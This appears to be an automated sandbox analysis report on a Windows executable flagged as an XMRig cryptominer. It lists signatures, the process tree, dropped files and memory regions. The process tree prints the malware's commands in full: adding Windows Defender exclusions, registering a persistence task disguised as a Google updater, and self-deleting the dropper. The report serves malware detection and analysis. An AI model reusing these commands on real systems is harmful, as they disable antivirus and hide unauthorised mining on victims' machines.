Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1799s
  • max time network
    1799s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3364
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4388
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1528
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2992
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4264
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2596
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4324
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:392
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
            PID:3088
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:4476
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:3916
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          1⤵
            PID:2728
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3480
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:1660
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:980

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 1.1MB
                • SHA256 a3ed84990ef7d29474915448691ad2a35d5d8b87c0e3dc9be0437f5d6ca17d3f
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 72KB
                • SHA256 ae81414dab21febc15be212dde283616a071c3a4d885febbe89070323917c3a5
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d17623f3ba80ca3603ea0a05129473793a097ef3f4f2311fa355eb7febfd58ff
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_nmua4ydr.ofj.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nmua4ydr.ofj.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/392-112-0x00007FF475380000-0x00007FF475390000-memory.dmp

                memory/392-100-0x000001378B100000-0x000001378B110000-memory.dmp

                memory/392-102-0x000001378B100000-0x000001378B110000-memory.dmp

                memory/392-116-0x00007FFF511B0000-0x00007FFF51C71000-memory.dmp

                memory/392-114-0x000001378B100000-0x000001378B110000-memory.dmp

                memory/392-92-0x00007FFF511B0000-0x00007FFF51C71000-memory.dmp

                memory/392-113-0x000001378B100000-0x000001378B110000-memory.dmp

                memory/892-35-0x00007FF6DBBF0000-0x00007FF6DBE01000-memory.dmp

                memory/892-0-0x00007FF6DBBF0000-0x00007FF6DBE01000-memory.dmp

                memory/1528-18-0x00007FFF511B0000-0x00007FFF51C71000-memory.dmp

                memory/1528-33-0x00007FFF511B0000-0x00007FFF51C71000-memory.dmp

                memory/1528-26-0x000001EAB4130000-0x000001EAB4140000-memory.dmp

                memory/1528-31-0x000001EAB4130000-0x000001EAB4140000-memory.dmp

                memory/1528-24-0x000001EAB4130000-0x000001EAB4140000-memory.dmp

                memory/3088-145-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-157-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-189-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-187-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-185-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-183-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-181-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-179-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-177-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-175-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-173-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-171-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-169-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-167-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-165-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-163-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-161-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-159-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-155-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-153-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-151-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-149-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-147-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-143-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-141-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-122-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-121-0x000001C8E7140000-0x000001C8E7160000-memory.dmp

                memory/3088-139-0x000001C8E72F0000-0x000001C8E7310000-memory.dmp

                memory/3088-138-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-126-0x000001C8E72B0000-0x000001C8E72D0000-memory.dmp

                memory/3088-136-0x000001C8E72D0000-0x000001C8E72F0000-memory.dmp

                memory/3088-128-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-129-0x000001C8E72D0000-0x000001C8E72F0000-memory.dmp

                memory/3088-130-0x000001C8E72F0000-0x000001C8E7310000-memory.dmp

                memory/3088-132-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-133-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3088-135-0x00007FF7EEB00000-0x00007FF7EF2F4000-memory.dmp

                memory/3480-52-0x00007FF7B3110000-0x00007FF7B3321000-memory.dmp

                memory/3480-120-0x00007FF7B3110000-0x00007FF7B3321000-memory.dmp

                memory/3916-127-0x00007FF7E0A60000-0x00007FF7E0A76000-memory.dmp

                memory/3916-134-0x00007FF7E0A60000-0x00007FF7E0A76000-memory.dmp

                memory/4264-42-0x00007FFF511B0000-0x00007FFF51C71000-memory.dmp

                memory/4264-51-0x00007FFF511B0000-0x00007FFF51C71000-memory.dmp

                memory/4264-47-0x000001EF77C10000-0x000001EF77C20000-memory.dmp

                memory/4264-48-0x000001EF77C10000-0x000001EF77C20000-memory.dmp

                memory/4324-81-0x0000017F7A400000-0x0000017F7A41A000-memory.dmp

                memory/4324-84-0x0000017F7A3F0000-0x0000017F7A3FA000-memory.dmp

                memory/4324-74-0x00007FF457940000-0x00007FF457950000-memory.dmp

                memory/4324-76-0x0000017F7A170000-0x0000017F7A18C000-memory.dmp

                memory/4324-64-0x0000017F79350000-0x0000017F79360000-memory.dmp

                memory/4324-75-0x0000017F79350000-0x0000017F79360000-memory.dmp

                memory/4324-62-0x00007FFF511B0000-0x00007FFF51C71000-memory.dmp

                memory/4324-63-0x0000017F79350000-0x0000017F79360000-memory.dmp

                memory/4324-88-0x00007FFF511B0000-0x00007FFF51C71000-memory.dmp

                memory/4324-85-0x0000017F79350000-0x0000017F79360000-memory.dmp

                memory/4324-83-0x0000017F7A3E0000-0x0000017F7A3E6000-memory.dmp

                memory/4324-77-0x0000017F7A190000-0x0000017F7A245000-memory.dmp

                memory/4324-82-0x0000017F7A3B0000-0x0000017F7A3B8000-memory.dmp

                memory/4324-78-0x0000017F7A250000-0x0000017F7A25A000-memory.dmp

                memory/4324-80-0x0000017F7A3A0000-0x0000017F7A3AA000-memory.dmp

                memory/4324-79-0x0000017F7A3C0000-0x0000017F7A3DC000-memory.dmp

                memory/4388-11-0x00007FFF511B0000-0x00007FFF51C71000-memory.dmp

                memory/4388-16-0x00007FFF511B0000-0x00007FFF51C71000-memory.dmp

                memory/4388-12-0x000001BE1AD40000-0x000001BE1AD50000-memory.dmp

                memory/4388-13-0x000001BE1AD40000-0x000001BE1AD50000-memory.dmp

                memory/4388-7-0x000001BE025C0000-0x000001BE025E2000-memory.dmp